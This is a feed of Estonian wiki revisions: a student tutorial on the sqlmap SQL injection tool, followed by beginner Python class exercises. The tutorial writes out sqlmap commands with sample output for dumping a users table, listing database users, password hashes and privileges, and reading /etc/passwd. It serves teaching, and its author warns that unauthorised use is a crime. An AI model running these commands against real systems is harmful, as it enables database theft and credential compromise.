[12:17:42] [INFO] retrieved: id&lt;br /&gt;
[12:17:43] [INFO] retrieved: int(11)                                                                                         &lt;br /&gt;
[12:17:45] [INFO] retrieved: name                                                                                            &lt;br /&gt;
[12:17:46] [INFO] retrieved: text                                                                                            &lt;br /&gt;
[12:17:47] [INFO] retrieved: password                                                                                        &lt;br /&gt;
[12:17:48] [INFO] retrieved: text                                                                                            &lt;br /&gt;
&lt;br /&gt;
.......&lt;br /&gt;
&lt;br /&gt;
[12:17:59] [INFO] retrieved: hash&lt;br /&gt;
[12:18:01] [INFO] retrieved: varchar(128)&lt;br /&gt;
Database: safecosmetics&lt;br /&gt;
Table: users&lt;br /&gt;
[8 columns]&lt;br /&gt;
+-------------------+--------------+&lt;br /&gt;
| Column            | Type         |&lt;br /&gt;
+-------------------+--------------+&lt;br /&gt;
| email             | text         |&lt;br /&gt;
| hash              | varchar(128) |&lt;br /&gt;
| id                | int(11)      |&lt;br /&gt;
| name              | text         |&lt;br /&gt;
| password          | text         |&lt;br /&gt;
| permission        | tinyint(4)   |&lt;br /&gt;
| system_allow_only | text         |&lt;br /&gt;
| system_home       | text         |&lt;br /&gt;
+-------------------+--------------+&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5. Leiame eelnevast &#039;&#039;&#039;tabelist andmed&#039;&#039;&#039;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot; --dump -D safecosmetics -T users&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund, mis on sarnane mysqldump käsule:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+&lt;br /&gt;
| id | hash               | name      | email     | password | permission | system_home | system_allow_only |&lt;br /&gt;
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+&lt;br /&gt;
| 1  | 5DIpzzDHFOwnCvPonu | admin     | &amp;lt;blank&amp;gt;   | &amp;lt;blank&amp;gt;  | 3          | &amp;lt;blank&amp;gt;     | &amp;lt;blank&amp;gt;           |&lt;br /&gt;
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====2. Kasutajad====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Järgnev käsk tagastab infot kasutajate ja rollide kohta.[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://localhost/weak.php?id=10&amp;quot; --users --passwords --privileges --roles --threads=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;..........&lt;br /&gt;
&lt;br /&gt;
database management system users [5]:&lt;br /&gt;
[*] &#039;&#039;@&#039;localhost&#039;&lt;br /&gt;
[*] &#039;&#039;@&#039;localhost.localdomain&#039;&lt;br /&gt;
[*] &#039;root&#039;@&#039;127.0.0.1&#039;&lt;br /&gt;
[*] &#039;root&#039;@&#039;localhost&#039;&lt;br /&gt;
[*] &#039;root&#039;@&#039;localhost.localdomain&#039;&lt;br /&gt;
&lt;br /&gt;
.............&lt;br /&gt;
&lt;br /&gt;
database management system users password hashes:&lt;br /&gt;
[*]  [1]:&lt;br /&gt;
    password hash: NULL&lt;br /&gt;
[*] root [2]:&lt;br /&gt;
    password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19&lt;br /&gt;
    password hash: NULL&lt;br /&gt;
&lt;br /&gt;
........&lt;br /&gt;
&lt;br /&gt;
[*] %root% (administrator) [27]:&lt;br /&gt;
    privilege: ALTER&lt;br /&gt;
    privilege: ALTER ROUTINE&lt;br /&gt;
    privilege: CREATE&lt;br /&gt;
    privilege: CREATE ROUTINE&lt;br /&gt;
    privilege: CREATE TEMPORARY TABLES&lt;br /&gt;
    privilege: CREATE USER&lt;br /&gt;
    privilege: CREATE VIEW&lt;br /&gt;
    privilege: DELETE&lt;br /&gt;
    privilege: DROP&lt;br /&gt;
    privilege: EVENT&lt;br /&gt;
    privilege: EXECUTE&lt;br /&gt;
    privilege: FILE&lt;br /&gt;
    privilege: INDEX&lt;br /&gt;
    privilege: INSERT&lt;br /&gt;
    privilege: LOCK TABLES&lt;br /&gt;
    privilege: PROCESS&lt;br /&gt;
    privilege: REFERENCES&lt;br /&gt;
    privilege: RELOAD&lt;br /&gt;
    privilege: REPLICATION CLIENT&lt;br /&gt;
    privilege: REPLICATION SLAVE&lt;br /&gt;
    privilege: SELECT&lt;br /&gt;
    privilege: SHOW DATABASES&lt;br /&gt;
    privilege: SHOW VIEW&lt;br /&gt;
    privilege: SHUTDOWN&lt;br /&gt;
    privilege: SUPER&lt;br /&gt;
    privilege: TRIGGER&lt;br /&gt;
    privilege: UPDATE&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Leiame info hetkel kasutusel oleva kasutaja, andmebaasi ja hostinime kohta:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://localhost/weak.php?id=10&amp;quot; --current-user --is-dba --current-db --hostname --threads=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;........&lt;br /&gt;
[11:32:33] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: Linux Red Hat Enterprise 6 (Santiago)&lt;br /&gt;
web application technology: PHP 5.3.3, Apache 2.2.15&lt;br /&gt;
back-end DBMS: MySQL 5.0.11&lt;br /&gt;
[11:32:33] [INFO] fetching current user&lt;br /&gt;
[11:32:33] [INFO] retrieving the length of query output&lt;br /&gt;
[11:32:33] [INFO] retrieved: 14&lt;br /&gt;
[11:32:38] [INFO] retrieved: root@localhost             &lt;br /&gt;
current user:    &#039;root@localhost&#039;&lt;br /&gt;
[11:32:38] [INFO] fetching current database&lt;br /&gt;
[11:32:38] [INFO] retrieving the length of query output&lt;br /&gt;
[11:32:38] [INFO] retrieved: 5&lt;br /&gt;
[11:32:40] [INFO] resumed: profile_data&lt;br /&gt;
current database:    &#039;profile_data&#039;&lt;br /&gt;
[11:32:40] [INFO] fetching server hostname&lt;br /&gt;
[11:32:40] [INFO] retrieving the length of query output&lt;br /&gt;
[11:32:40] [INFO] retrieved: 21&lt;br /&gt;
[11:32:48] [INFO] retrieved: localhost.localdomain             &lt;br /&gt;
hostname:    &#039;localhost.localdomain&#039;&lt;br /&gt;
[11:32:48] [INFO] testing if current user is DBA&lt;br /&gt;
[11:32:48] [INFO] fetching current user&lt;br /&gt;
current user is DBA:    False&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====2. Failid====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Faili lugemine kui on olemas vajalikud õigused, näiteks /etc/passwd:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://localhost/weak.php?id=10&amp;quot; --file-read=/etc/passwd --threads=10&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Sqlmap&amp;diff=88531</id>
		<title>Sqlmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Sqlmap&amp;diff=88531"/>
		<updated>2015-05-14T13:39:08Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
= SQLmap =&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
Autor: Elina Prudnikova &lt;br /&gt;
&lt;br /&gt;
Rühm: A21&lt;br /&gt;
&lt;br /&gt;
Mai 2015&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
== Lühikirjeldus ==&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]&lt;br /&gt;
&lt;br /&gt;
SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, eskaleerida kasutaja õigusi jne. [http://sqlmap.org/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; NB! SQLmap&#039;i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Paigaldamine==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SQLmap on operatsioonisüsteemist sõltumatu, kuna on kirjutatud keeles Python. Teda on võimalik kasutada nii Windowsis kui ka Linux/Unix all. [https://github.com/sqlmapproject/sqlmap/wiki/Dependencies]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====1. Linux/Unix====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SQLmap&#039;i jaoks on kõigepealt vaja paigaldada Python 2.6 või 2.7 versioon. &lt;br /&gt;
&lt;br /&gt;
1. Paigalda Python (Debian, Ubuntu).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo apt-get install python2.6&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Kontrolli versiooni.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python --version&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Seejärel alla laadida SQLmap.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;wget from http://sqlmap.sourceforge.net/#download&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Pakkida see lahti ja käivitada.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;tar zxvf sqlmap-0.9.tar.gz&lt;br /&gt;
&lt;br /&gt;
cd sqlmap&lt;br /&gt;
&lt;br /&gt;
python sqlmap.py&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5. Edukal paigaldamisel tagastab SQLmap:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sqlmap/0.9 - automatic SQL injection and database takeover tool&lt;br /&gt;
    http://sqlmap.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
Usage: python sqlmap.py [options]&lt;br /&gt;
&lt;br /&gt;
sqlmap.py: error: missing a mandatory parameter (&#039;-d&#039;, &#039;-u&#039;, &#039;-l&#039;, &#039;-r&#039;, &#039;-g&#039;, &#039;-c&#039;, &#039;--wizard&#039; or &#039;--update&#039;), -h for help&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://hackertarget.com/sqlmap-tutorial/ Abi paigaldamisel Linux/Unix all]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====2. Windows====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Alla laadida ja paigaldada Python 2.6 või 2.7 kodulehelt: [https://www.python.org/ Python]&lt;br /&gt;
&lt;br /&gt;
2. Alla laadida zip fail SQLmap&#039;i kodulehelt, pakkida see lahti. [https://sqlmap.org SQLmap] Käsurealt liikuda kataloogi, kuhu see lahti pakiti ja käivitada.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;C:\sqlmapproject-sqlmap-2defc30&amp;gt;python ./sqlmap.py&lt;br /&gt;
Usage: ./sqlmap.py [options]&lt;br /&gt;
&lt;br /&gt;
sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wiza&lt;br /&gt;
rd, --update, --purge-output or --dependencies), use -h for basic or -hh for adv&lt;br /&gt;
anced help&lt;br /&gt;
&lt;br /&gt;
Press Enter to continue...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[http://www.binarytides.com/install-run-sqlmap-windows/ Abiks Windowsis paigaldamisel]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Kasutamine==&lt;br /&gt;
&#039;&#039;&#039;&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Sqlmap&amp;diff=88530</id>
		<title>Sqlmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Sqlmap&amp;diff=88530"/>
		<updated>2015-05-14T13:09:09Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
= SQLmap =&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
Autor: Elina Prudnikova &lt;br /&gt;
&lt;br /&gt;
Rühm: A21&lt;br /&gt;
&lt;br /&gt;
Mai 2015&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
== Lühikirjeldus ==&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]&lt;br /&gt;
&lt;br /&gt;
SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, saada teise kasutaja õigusi jne. [http://sqlmap.org/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; NB! SQLmap&#039;i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Paigaldamine==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====1. Linux/Unix====&lt;br /&gt;
&#039;&#039;&#039;&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Sqlmap&amp;diff=88529</id>
		<title>Sqlmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Sqlmap&amp;diff=88529"/>
		<updated>2015-05-14T13:03:14Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
= SQLmap =&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
Autor: Elina Prudnikova &lt;br /&gt;
&lt;br /&gt;
Rühm: A21&lt;br /&gt;
Mai 2015&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
== Lühikirjeldus ==&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]&lt;br /&gt;
&lt;br /&gt;
SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, saada teise kasutaja õigusi jpm. [http://sqlmap.org/]&lt;br /&gt;
&lt;br /&gt;
NB! SQLmap&#039;i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Python_tunnis_tehtud_n%C3%A4ited&amp;diff=88456</id>
		<title>Python tunnis tehtud näited</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Python_tunnis_tehtud_n%C3%A4ited&amp;diff=88456"/>
		<updated>2015-05-12T08:12:15Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
#  -*- coding: utf-8 -*-&lt;br /&gt;
from __future__ import print_function&lt;br /&gt;
from __future__ import unicode_literals&lt;br /&gt;
#Elina Prudnikova A21, 12.05.2015&lt;br /&gt;
#1. Skript loeb failist numbrid&lt;br /&gt;
#2. Kui number jagub 3 siis prindib numbri&lt;br /&gt;
&lt;br /&gt;
#exit 1 - Argumentide arv vale&lt;br /&gt;
#exit 2 - Aisendfaili ei õnnestu lugeda&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 2:&lt;br /&gt;
	print (&amp;quot;Käsurea argumente peab olema 1&amp;quot;)&lt;br /&gt;
	sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    sisend = open(sys.argv[1])&lt;br /&gt;
&lt;br /&gt;
except IOError:&lt;br /&gt;
    print (&#039;Sisendfaili, sys.argv[1], ei saa avada&#039;)&lt;br /&gt;
    sys.exit(2)&lt;br /&gt;
&lt;br /&gt;
for line in sisend.readlines():&lt;br /&gt;
    line = line.strip()&lt;br /&gt;
    if line:&lt;br /&gt;
        line2=float(line)&lt;br /&gt;
        if line2 % 3 == 0:&lt;br /&gt;
            print (line)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
#  -*- coding: utf-8 -*-&lt;br /&gt;
from __future__ import print_function&lt;br /&gt;
from __future__ import unicode_literals&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
import urllib2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;See on tehtud IDET kasutades&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
print(sys.argv)&lt;br /&gt;
print(len(sys.argv))&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 2:&lt;br /&gt;
    print(&amp;quot;Kasuta programmi ...&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;programm lõpetas töö&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    fh = open(sys.argv[1], &#039;r&#039;)&lt;br /&gt;
    for line in fh.readlines():&lt;br /&gt;
        a_line = line.split(&#039;,&#039;)&lt;br /&gt;
        print(&amp;quot;URL:&amp;quot;, a_line[0], &amp;quot;String&amp;quot;, a_line[1])&lt;br /&gt;
        try:&lt;br /&gt;
            u = urllib2.urlopen(a_line[0])&lt;br /&gt;
            sisu = u.read()&lt;br /&gt;
            print(&amp;quot;Srtingi leidsin&amp;quot;, sisu.count(a_line[1].strip()), &amp;quot;korda&amp;quot;)&lt;br /&gt;
        except Exception:&lt;br /&gt;
            print(&amp;quot;URLi avamine ebaõnnestus&amp;quot;)&lt;br /&gt;
        print(&amp;quot;URL:&amp;quot;, a_line[0], &amp;quot;String&amp;quot;, a_line[1])&lt;br /&gt;
&lt;br /&gt;
except IOError:&lt;br /&gt;
    print(&amp;quot;Faili avamine ebaõnnestus&amp;quot;)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Johannes Tammekänd - A22, 18.03.2014&lt;br /&gt;
# Programm mis võtab käsurea argumendina sisendfaili ning leiab sellest &lt;br /&gt;
# sisendfailist kõige pikima sõna ja väljastab selle sõna koos reanumbriga.&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 2:&lt;br /&gt;
	print &amp;quot;Argumentide arv on vale!&amp;quot;&lt;br /&gt;
	print &amp;quot;Kasuta programmi &amp;quot;, sys.argv[0], &amp;quot;sisendfail&amp;quot;&lt;br /&gt;
	sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
	pikim = open(sys.argv[1], &#039;r&#039;)&lt;br /&gt;
	lookup = max(pikim, key = len)&lt;br /&gt;
	lookup = max(lookup.split(), key=len)&lt;br /&gt;
	print lookup&lt;br /&gt;
except IOError: &lt;br /&gt;
	print &amp;quot;Sisendfaili ei saa avada.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
with open(sys.argv[1]) as minuFail:&lt;br /&gt;
	for num, line in enumerate(minuFail, 1):&lt;br /&gt;
		if lookup in line:&lt;br /&gt;
			print &#039;Sõna oli real:&#039;, num&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
print &amp;quot;Programm lõpetas töö&amp;quot;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Johannes Tammekänd - A22, 18.03.2014&lt;br /&gt;
# Programm avab faili, leiab sealt kõige pikema rea ning väljastab selle.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 2:&lt;br /&gt;
	print &amp;quot;Argumentide arv on vale!&amp;quot;&lt;br /&gt;
	print &amp;quot;Kasuta programmi &amp;quot;, sys.argv[0], &amp;quot;sisendfail&amp;quot;&lt;br /&gt;
	sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
	pikim = open(sys.argv[1], &#039;r&#039;)&lt;br /&gt;
	lookup = max(pikim, key = len)&lt;br /&gt;
	print lookup&lt;br /&gt;
except IOError: &lt;br /&gt;
	print &amp;quot;Sisendfaili ei saa avada.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
print &amp;quot;Programm lõpetas töö&amp;quot;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Programm avab faili, leiab sealt kõige pikema rea ning väljastab selle&lt;br /&gt;
# Autor: Karl-Martin Karlson&lt;br /&gt;
&lt;br /&gt;
from __future__ import print_function&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
#Kontrollib käsurea argumentide arvu&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 2:&lt;br /&gt;
    print(&amp;quot;Argumentide arv on vale!&amp;quot;)&lt;br /&gt;
    print(&amp;quot;Kasuta programmi&amp;quot;, sys.argv[0], &amp;quot;sisendfail&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
failinimi = sys.argv[1]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    ifh = open(sys.argv[1], &#039;r&#039;)&lt;br /&gt;
except I0Error:&lt;br /&gt;
    print(&amp;quot;Faili ei saanud avada&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
    &lt;br /&gt;
reapikkus = 0&lt;br /&gt;
pikimrida = &amp;quot;Tere&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ifh=open(failinimi)&lt;br /&gt;
while True:&lt;br /&gt;
    line = ifh.readline()&lt;br /&gt;
    if reapikkus &amp;lt; len(line):&lt;br /&gt;
        reapikkus = len(line)&lt;br /&gt;
        pikimrida = line       &lt;br /&gt;
    if not line:&lt;br /&gt;
        break&lt;br /&gt;
ifh.close()&lt;br /&gt;
print (pikimrida)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
# -*- coding: utf-8  -*-&lt;br /&gt;
# Skript kontrollib argumentide arvu, avab argumendina antud faili(kontrollides eelnevalt selle&lt;br /&gt;
# olemasolu ning õiguseid sellest lugemiseks) ning seejärel prindib pikima rea välja.&lt;br /&gt;
# Autor: Marten Mattisen&lt;br /&gt;
import sys&lt;br /&gt;
if (len(sys.argv) != 2):&lt;br /&gt;
    print (&amp;quot;Argumentide arv on vale!&amp;quot;)&lt;br /&gt;
    sys.exit(2)&lt;br /&gt;
try:&lt;br /&gt;
    print &amp;quot;Pikim rida:&amp;quot;+max(open(sys.argv[1], &#039;r&#039;), key=len)&lt;br /&gt;
except IOError:&lt;br /&gt;
    print &#039;Sisendfail on puudu või pole sellest lugemiseks õiguseid&#039;&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
print &#039;Skript on töö lõpetanud.&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
# Tere täpiline kommentaar&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
print sys.argv[0], sys.argv[1]&lt;br /&gt;
print &#039;Tere maailm!&#039;&lt;br /&gt;
&lt;br /&gt;
muutuja = 5&lt;br /&gt;
&lt;br /&gt;
teine_muutuja = 2.0&lt;br /&gt;
&lt;br /&gt;
print &#039;jagatis on&#039;, muutuja/teine_muutuja&lt;br /&gt;
print &#039;Palun sisesta midagi&#039;&lt;br /&gt;
vastus = int(raw_input())&lt;br /&gt;
&lt;br /&gt;
print &#039;sisestasid&#039;, vastus/2.0&lt;br /&gt;
&lt;br /&gt;
if vastus%2 == 0:&lt;br /&gt;
    print &#039;vastus on paarisarv&#039;&lt;br /&gt;
else:&lt;br /&gt;
    print &#039;vastus on paaritu arv&#039;&lt;br /&gt;
    &lt;br /&gt;
for i in range(1,9999):&lt;br /&gt;
    print &#039;i =&#039;,i&lt;br /&gt;
    &lt;br /&gt;
while True:&lt;br /&gt;
    print &amp;quot;sisesta midagi&amp;quot;&lt;br /&gt;
    a = raw_input()&lt;br /&gt;
    if a == &#039;q&#039;:&lt;br /&gt;
        print &#039;programm lõpetas töö&#039;&lt;br /&gt;
        sys.exit(0)    &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pythoni programm, mis kontrollib, kas arv jagub 10-ga&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
&lt;br /&gt;
while True:&lt;br /&gt;
    print &#039;Kirjuta mingi arv, mis jagub 10ga&#039;&lt;br /&gt;
#raw_input annab stringi, see on vaja teha integer tüüpi&lt;br /&gt;
    kasutajaarv = int(raw_input())&lt;br /&gt;
    if kasutajaarv%10 == 0:&lt;br /&gt;
        break&lt;br /&gt;
&lt;br /&gt;
print &#039;Jagus! Programm lõpetab!&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Skript väljastab esmalt argumentide arvu ja argumendid (iga argument eraldi real)&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
